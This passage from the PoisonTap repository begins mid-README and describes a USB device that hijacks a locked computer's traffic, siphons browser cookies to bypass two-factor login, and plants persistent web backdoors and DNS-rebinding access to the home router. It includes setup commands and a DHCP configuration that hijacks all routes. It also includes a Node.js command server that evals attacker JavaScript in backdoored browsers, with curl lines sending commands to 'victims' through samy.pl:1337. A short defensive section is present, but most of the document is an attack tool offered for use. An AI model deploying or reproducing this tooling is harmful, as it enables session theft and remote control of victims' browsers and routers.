irrelevant if a secondary network device connects to a machine as it will be given lower priority than the existing (trusted) network device and won't supersede the gateway for Internet traffic, *but...* 64 | * Any routing table / gateway priority / network interface service order security is **bypassed** due to the priority of "LAN traffic" over "Internet traffic" 65 | * PoisonTap exploits this network access, even as a low priority network device, because **the *subnet* of a *low priority* network device is given higher priority than the *gateway* (default route) of the *highest priority* network device** 66 | * This means if traffic is destined to 1.2.3.4, while normally this traffic would hit the default route/gateway of the primary (non-PoisonTap) network device, PoisonTap actually gets the traffic because the PoisonTap "local" network/subnet supposedly contains 1.2.3.4, and every other IP address in existence ;) 67 | * Because of this, all Internet traffic goes over PoisonTap, even though the machine is connected to another network device with higher priority and proper gateway (the true wifi, ethernet, etc.) 68 | 69 | ![Cookie Siphoning](https://samy.pl/poisontap/cookies2.gif) 70 | 71 | ### *Cookie Siphoning* 72 | * As long as a web browser is running the background, it is likely one of the open pages will perform an HTTP request in the background (for example to load a new ad, send data to an analytics platform, or simply continue to [track your web movements](https://samy.pl/evercookie/)) via AJAX or dynamic script/iframe tags 73 | * You can see this for yourself, go into your devtools/inspector (typically Cmd+Shift+I or Ctrl+Shift+I), go to a heavily visited website, click on the Network tab, and watch as remote resources continue to be accessed even as you take no action on the page 74 | * Upon this HTTP request, because all traffic exits onto the PoisonTap device, PoisonTap DNS spoofs on the fly to return its own address, causing the HTTP request to hit the PoisonTap web server (Node.js) 75 | * If the DNS server is pointing to an internal IP (LAN) that PoisonTap cannot get privilege for, the attack continues to function as the internal DNS server will produce public IP addresses for the various domains attacked, and it is the public IP addresses that PoisonTap has already hijacked 76 | * Once the internal DNS server responds, the web browser hits the public IP, ultimately hitting the PoisonTap web server (Node.js) in either scenario 77 | * When the Node web server receives the request, PoisonTap responds with a response that can be interpreted as HTML or as Javascript, both of which execute properly (many websites will load HTML or JS in background requests) 78 | * The HTML/JS-agnostic page then produces many hidden iframes, each iframe across a different Alexa-top-1-million domain 79 | * Any "X-Frame-Options" security on the domain is **bypassed** as PoisonTap is now the HTTP server and chooses which headers to send to the client 80 | * As every iframe HTTP request to a site is made (eg, http://nfl.com/PoisonTap), the HTTP cookies are sent from the browser to the "public IP" hijacked by PoisonTap, which swiftly logs the cookies/authentication information, **logging tens of thousands of the user's cookies into PoisonTap** 81 | * Any "HttpOnly" cookie security is **bypassed** and those cookies are captured as no Javascript is executed on the domain itself, but rather only used to load the iframe in the first place 82 | * Any Cross-Origin Resource Sharing or Same-Origin Policy security is **bypassed** as the domain being accessed appears legitimate to the browser 83 | * Because we're capturing cookies rather than credentials, any 2FA/MFA implemented on the site is **bypassed** when the attacker uses the cookie to login. This is because we're not actually performing the login function but rather continuing an already logged-in session which does **not** trigger two-factor authentication 84 | * If a server is using HTTPS, but the cookies do not explicitly set the Secure cookie flag, the HTTPS protection is **bypassed** and the cookie is sent to PoisonTap 85 | 86 | ![Internal Router Backdoor](https://samy.pl/poisontap/router2.gif) 87 | 88 | ### *Remotely Accessible Web-Based Backdoors* 89 | 90 | * While PoisonTap was producing thousands of iframes, forcing the browser to load each one, these iframes are not just blank pages at all, but rather **HTML+Javascript backdoors** that are **cached indefinitely** 91 | * Because PoisonTap force-caches these backdoors on each domain, the backdoor is tied to that domain, enabling the attacker to use the domain's cookies and launch same-origin requests in the future, even if the user is currently not logged in 92 | * For example, when the http://nfl.com/PoisonTap iframe is loaded, PoisonTap accepts the diverted Internet traffic, responds to the HTTP request via the Node web server 93 | * Additional HTTP headers are added to cache the page indefinitely 94 | * The actual response of the page is a combination of HTML and Javascript that produces a persistent WebSocket out to the attacker's web server (over the Internet, not on the PoisonTap device) 95 | * The WebSocket remains open allowing the attacker to, at any point in the future, connect back to the backdoored machine and perform requests across any origin that has the backdoor implemented (the Alexa top 1,000,000 sites -- see below) 96 | * If the backdoor is opened on one site (e.g., nfl.com), but the user wishes to attack a different domain (e.g., pinterest.com), the attacker can load an iframe on nfl.com to the pinterest.com backdoor (http://pinterest.com/PoisonTap) 97 | * Again, any "X-Frame-Options", Cross-Origin Resource Sharing, and Same-Origin Policy security on the domain is entirely **bypassed** as the request will hit the cache that PoisonTap left rather than the true domain 98 | 99 | ![Raspberry Pi Zero](https://samy.pl/poisontap/straightened.jpg?0) 100 | 101 | ### *Internal Router Backdoor & Remote Access* 102 | 103 | * The one network PoisonTap is not able to hijack is the actual LAN subnet of the true network interface (for example, if the user's wifi subnet is 192.168.0.x, this network is unaffected), *but...* 104 | * PoisonTap force-caches a backdoor on a special host, specifically the target router's IP prepended to ".ip.samy.pl", e.g. 192.168.0.1.ip.samy.pl, essentially producing a **persistent** DNS rebinding attack 105 | * When using PoisonTap as the DNS server (victim using public DNS server), PoisonTap responds with the specialized PoisonTap IP temporarily (1.0.0.1), meaning any requests at that moment will hit the PoisonTap web server 106 | * If instead the DNS server is set to the internal network (e.g., 192.168.0.x), an additional specially crafted request is made to 1.0.0.1**.pin.**ip.samy.pl which tells my specialized DNS server (on the public Internet) to **temporarily** respond to any [ip.address].ip.samy.pl address with the "pinned" address (1.0.0.1) for several seconds 107 | * PoisonTap then quickly sets a backdoor on http://192.168.0.1.ip.samy.pl/PoisonTap, which for the moment points to the PoisonTap device at 1.0.0.1, allowing the backdoor to be accessed and cached from the PoisonTap device 108 | * DNS pinning and DNS rebinding security are **bypassed** due to exhausting the DNS pinning table, due to the hundreds of thousands of requests just previously made, and no rebinding needs to occur in the future, making this attack persistent over long periods of time (thanks to Matt Austin for sharing this attack with me!) 109 | * Now that a backdoor is force-cached to http://192.168.0.1.ip.samy.pl/PoisonTap, any future requests to the 192.168.0.1.ip.samy.pl will hit the **unpinned** IP address, causing 192.168.0.1 to resolve instead, pointing directly to the router 110 | * This means if loading the 192.168.0.1.ip.samy.pl/PoisonTap host in an iframe remotely over the backdoor, you can now perform AJAX GET/POSTs to **any other page** on the internal router, **entirely remotely**, thus allowing remote access to the internal router 111 | * This can lead to other attacks on the router which the attacker may have never had access to in the first place, such as default admin credentials on the router being used to overwrite DNS servers, or other authentication vulnerabilities being exposed 112 | 113 | DNS Rebinding 114 | 115 | #### Recap of the DNS server: 116 | 117 | * [ip.addy].ip.samy.pl **normally** responds with [ip.addy] 118 | * 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record) 119 | * [ip.addy].pin.ip.samy.pl **temporarily** (~5 seconds) points *.ip.samy.pl to [ip.addy] 120 | * 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1 121 | * 192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL) 122 | * *(after ~5 seconds)* 123 | * 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record) 124 | 125 | ### Additional Remotely Accessible Web-Based Backdoors 126 | 127 | * Additionally, PoisonTap replaces thousands of common, CDN-based Javascript files, e.g. Google and jQuery CDNs, with the correct code plus a backdoor that gives the attacker access to any domain loading the infected CDN-based Javascript file 128 | * Because a backdoor is left on each domain, this allows the attacker to remotely force the backdoored browser to perform **same-origin** requests (AJAX GET/POSTs) on virtually any major domain, even if the victim does not currently have any open windows to that domain 129 | * The backdoor will now live on any additional site that also uses one of these infected, HTTP-based, CDN Javascript frameworks when the victim visits the site 130 | 131 | ----- 132 | 133 | ![PoisonTap](https://samy.pl/poisontap/ptplug.jpg) 134 | 135 | # Securing Against PoisonTap 136 | 137 | ### Server-Side Security 138 | 139 | If you are running a web server, securing against PoisonTap is simple: 140 | 141 | * **Use HTTPS exclusively**, at the very least for authentication and authenticated content 142 | * Honestly, you should use HTTPS exclusively and always redirect HTTP content to HTTPS, preventing a user being tricked into providing credentials or other PII over HTTP 143 | * Ensure Secure flag is enabled on cookies, preventing HTTPS cookies from leaking over HTTP 144 | * When using remote Javascript resources, use the Subresource Integrity script tag attribute 145 | * Use HSTS to prevent HTTPS downgrade attacks 146 | 147 | 148 | ### Desktop Security 149 | 150 | * Adding cement to your USB and Thunderbolt ports can be effective 151 | * Closing your browser every time you walk away from your machine can work, but is entirely impractical 152 | * Disabling USB/Thunderbolt ports is also effective, though also impractical 153 | * Locking your computer has **no effect** as the network and USB stacks operate while the machine is locked, however, going into an encrypted sleep mode where a key is required to decrypt memory (e.g., FileVault2 + deep sleep) solves most of the issues as your browser will no longer make requests, even if woken up 154 | 155 | ----- 156 | # Download 157 | 158 | **Source code:** https://github.com/samyk/poisontap 159 | 160 | ----- 161 | 162 | # Installation / File Breakdown 163 | 164 | Note: If you find the device is NOT acting as an Ethernet controller automatically (older versions of Windows, for example), you can [change the VID and PID in pi_startup.sh](https://github.com/samyk/poisontap/issues/8#issuecomment-265818957) 165 | 166 | ```bash 167 | # Instructions adjusted from https://gist.github.com/gbaman/50b6cca61dd1c3f88f41 168 | sudo bash 169 | 170 | # If Raspbian BEFORE 2016-05-10, then run next line: 171 | BRANCH=next rpi-update 172 | 173 | echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces 174 | echo "dtoverlay=dwc2" >> /boot/config.txt 175 | echo -e "dwc2\ng_ether" >> /etc/modules 176 | sudo sed --in-place "/exit 0/d" /etc/rc.local 177 | echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local 178 | mkdir /home/pi/poisontap 179 | chown -R pi /home/pi/poisontap 180 | apt-get update && apt-get upgrade 181 | apt-get -y install isc-dhcp-server dsniff screen nodejs 182 | ``` 183 | 184 | Place dhcpd.conf in /etc/dhcp/dhcpd.conf and the rest of the files in /home/pi/poisontap, then reboot to ensure everything is working. 185 | 186 | There are a number of files in the repo, which are used on different sides. The list: 187 | 188 | * **backdoor.html** - Whenever a http://hostname/PoisonTap URL is hit to exfiltrate cookies, this file is what is returned as the force-cached content. It contains a backdoor that produces an outbound websocket to samy.pl:1337 (adjustable to any host/port) that remains opens waiting for commands from the server. This means when you load an iframe on a site, such as http://hostname/PoisonTap, this is the content that gets populated (even after PoisonTap is removed from the machine). 189 | * **backend_server.js** - This is the Node.js server that you run on your Internet-accessible server. It is what the backdoor.html connects to (eg, samy.pl:1337). This is the same server you connect to send commands to your PoisonTapped minion machines, eg 190 | 191 | ```bash 192 | # pop alert to victim 193 | curl 'http://samy.pl:1337/exec?alert("muahahahaha")' 194 | # to set a cookie on victim 195 | curl 'http://samy.pl:1337/exec?document.cookie="key=value"' 196 | # to force victim to load a url via ajax (note, jQuery is stored inside the backdoor) 197 | curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})' 198 | ``` 199 | * **pi_poisontap.js** - This runs via Node.js on the Raspberry Pi Zero and is the HTTP server responsible for handling any HTTP requests intercepted by PoisonTap, storing siphoned cookies, and injecting the cached backdoors. 200 | * **pi_startup.sh** - This runs upon startup on the Raspberry Pi Zero in order to set the device up to emulate an Ethernet-over-USB gadget, set up our evil DHCP server, allow traffic rerouting, DNS spoofing, and to launch pi_poisontap.js above. 201 | * **target_backdoor.js** - This file is prepended to any CDN-related Javascript files, thus backdooring them, e.g. Google CDN's jQuery URL. 202 | * **target\_injected\_xhtmljs.html** - This is the code that gets injected into unintentional/background HTTP/AJAX requests on the victim's machine and spawns the entire attack. It is constructed in a way that it can be interpreted as HTML or as Javascript and still execute the same code. Additionally, the amazing HTML5 canvas is by the incredible Ara oen CodePen and was too amazing not to include. This is the graphical craziness that appears when the page gets taken over by PoisonTap. 203 | * **poisontap.cookies.log** - This file is generated once the user's machine starts sending HTTP requests to PoisonTap and logs the cookie from the browser along with the associated URL/domain it belongs to. 204 | 205 | ----- 206 | 207 | # Frequently Asked Questions 208 | 209 | * **Q:** How do you add additional domains to be backdoored? 210 | * **A:** The list of domains to be backdoored is set in `target_injected_xhtmljs.html` by the `getDoms()` function. This itself is populated by the `alexa1m.sh` script in the root of the repo. If you wish to add additional domains to this list, you can simply amend the return call in `getDoms()`. 211 | * **Q:** How do you use the captured cookies? 212 | * **A:** You can use the [Document.cookie API](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie) directly from the JavaScript console in your browser to set cookies. [This StackOverflow post](https://superuser.com/questions/244062/how-do-i-view-add-or-edit-cookies-in-google-chrome) also has a few Chrome-specific suggestions, for example the [Cookie Inspector](https://chrome.google.com/webstore/detail/cookie-inspector/jgbbilmfbammlbbhmmgaagdkbkepnijn) Chrome extension. 213 | * **Q:** How do I clean Poisontap from a machine? 214 | * **A:** You should clear the local OS DNS cache, as well as any browser caches. You may also need to invalidate any logged-in sessions at the time, which may have leaked cookies. Ensure that these invalidate existing cookies, rather than simply logging you out. (If you want to safetly work with a PoisonTap device on your current machine, make sure to exit any browser, then you should be able to safetly connect it to your machine). 215 | 216 | ----- 217 | 218 | # Contact 219 | 220 | **Point of Contact:** @SamyKamkar 221 | 222 | You can see more of my projects or contact me at https://samy.pl. 223 | -------------------------------------------------------------------------------- /alexa1m.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | wget http://s3.amazonaws.com/alexa-static/top-1m.csv.zip -------------------------------------------------------------------------------- /backend_server.js: -------------------------------------------------------------------------------- 1 | // PoisonTap by Samy Kamkar - https://samy.pl/poisontap 2 | 3 | //var _ = require('underscore') 4 | var WebSocketServer = require('websocket').server 5 | var webSocketsServerPort = 1337 6 | var http = require('http') 7 | var conns = [] 8 | var gr 9 | var server = http.createServer((request, response) => { 10 | console.log((new Date()) + ' HTTP server. URL ' + request.url + ' requested.') 11 | 12 | if (request.url.indexOf('/exec?') === 0) 13 | { 14 | response.writeHead(404, {'Content-Type': 'text/html'}) 15 | for (var i in conns) 16 | conns[i].sendUTF(JSON.stringify({ request: 'eval', content: request.url.substr(6) })) 17 | response.end("sent") 18 | } 19 | else if (request.url.indexOf('/send?') === 0) 20 | { 21 | response.writeHead(404, {'Content-Type': 'text/html'}) 22 | for (var i in conns) 23 | conns[i].sendUTF('{"' + decodeURI(request.url.substr(6)).replace(/"/g, '\\"').replace(/&/g, '","').replace(/=/g,'":"') + '"}') 24 | var checkgr = () => 25 | { 26 | if (gr) 27 | { 28 | response.end(gr) 29 | gr = "" 30 | } 31 | else 32 | setTimeout(checkgr, 500) 33 | } 34 | checkgr() 35 | } 36 | else if (request.url === '/status') 37 | { 38 | response.writeHead(200, {'Content-Type': 'application/json'}) 39 | var responseObject = { 40 | currentClients: 1234, 41 | totalHistory: 567 42 | } 43 | response.end(JSON.stringify(responseObject)) 44 | } 45 | else { 46 | response.writeHead(404, {'Content-Type': 'text/html'}) 47 | response.end('Sorry, unknown url') 48 | } 49 | }) 50 | server.listen(webSocketsServerPort, () => { 51 | console.log((new Date()) + " Server is listening on port " + webSocketsServerPort) 52 | }) 53 | 54 | // create the server 55 | wsServer = new WebSocketServer({ 56 | httpServer: server 57 | }) 58 | 59 | function handleReq(obj, con) 60 | { 61 | if (obj.request === 'getresponse') 62 | gr = obj.html 63 | } 64 | 65 | wsServer.on('request', (request) => { 66 | var obj 67 | var connection = request.accept(null, request.origin) 68 | conns.push(connection) 69 | 70 | connection.on('request', (message) => { 71 | console.log('request: ' + message) 72 | }) 73 | 74 | connection.on('message', (message) => { 75 | try { obj = JSON.parse(message.utf8Data) } catch(e) { } 76 | console.log('message: ' + message.utf8Data) 77 | console.log(obj) 78 | 79 | if (typeof(obj) === 'object') 80 | handleReq(obj, connection) 81 | else 82 | connection.sendUTF('hello') 83 | }) 84 | 85 | // remove connection from our list 86 | connection.on('close', connection => { 87 | console.log('connection closed') 88 | for (var i in conns) 89 | if (conns[i] == connection) 90 | //if (_.isEqual(conns[i], connection)) // XXX 91 | conns.splice(i, 1) 92 | }) 93 | }) 94 | -------------------------------------------------------------------------------- /dhcpd.conf: -------------------------------------------------------------------------------- 1 | # /etc/dhcp/dhcpd.conf 2 | 3 | # notes below 4 | ddns-update-style none; 5 | default-lease-time 600; 6 | max-lease-time 7200; 7 | authoritative; 8 | log-facility local7; 9 | 10 | # describe the codes used for injecting static routes 11 | option classless-routes code 121 = array of unsigned integer 8; 12 | option classless-routes-win code 249 = array of unsigned integer 8; 13 | 14 | # A netmask of 128 will work across all platforms 15 | # A way to cover /0 is to use a short lease. 16 | # As soon as the lease expires and client sends a 17 | # new DHCPREQUEST, you can DHCPOFFER the other half. 18 | subnet 0.0.0.0 netmask 128.0.0.0 { 19 | range 1.0.0.10 1.0.0.50; 20 | option broadcast-address 255.255.255.255; 21 | option routers 1.0.0.1; 22 | default-lease-time 600; 23 | max-lease-time 7200; 24 | option domain-name "local"; 25 | option domain-name-servers 1.0.0.1; 26 | # send the routes for both the top and bottom of the IPv4 address space 27 | option classless-routes 1,0, 1,0,0,1, 1,128, 1,0,0,1; 28 | option classless-routes-win 1,0, 1,0,0,1, 1,128, 1,0,0,1; 29 | 30 | } 31 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__angularjs__1.4.0-beta6__angular.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__jquery__2.1.2__jquery.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.1.1__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.1.2__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.2.1__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.2.2__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.2.3__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.2.4__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.2.5__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.3.0__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.3.1__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.3.2__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.4.0__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.4.1__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.4.2__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.4.3__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.4.4__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.4.5__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.5.0__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__mootools__1.5.1__mootools.min.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /js/ajax.googleapis.com__ajax__libs__scriptaculous__1.8.1__scriptaculous.js: -------------------------------------------------------------------------------- 1 | // script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008 2 | 3 | // Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining 6 | // a copy of this software and associated documentation files (the 7 | // "Software"), to deal in the Software without restriction, including 8 | // without limitation the rights to use, copy, modify, merge, publish, 9 | // distribute, sublicense, and/or sell copies of the Software, and to 10 | // permit persons to whom the Software is furnished to do so, subject to 11 | // the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be 14 | // included in all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 19 | // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 20 | // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 21 | // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 22 | // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 23 | // 24 | // For details, see the script.aculo.us web site: http://script.aculo.us/ 25 | 26 | var Scriptaculous = { 27 | Version: '1.8.1', 28 | require: function(libraryName) { 29 | // inserting via DOM fails in Safari 2.0, so brute force approach 30 | document.write('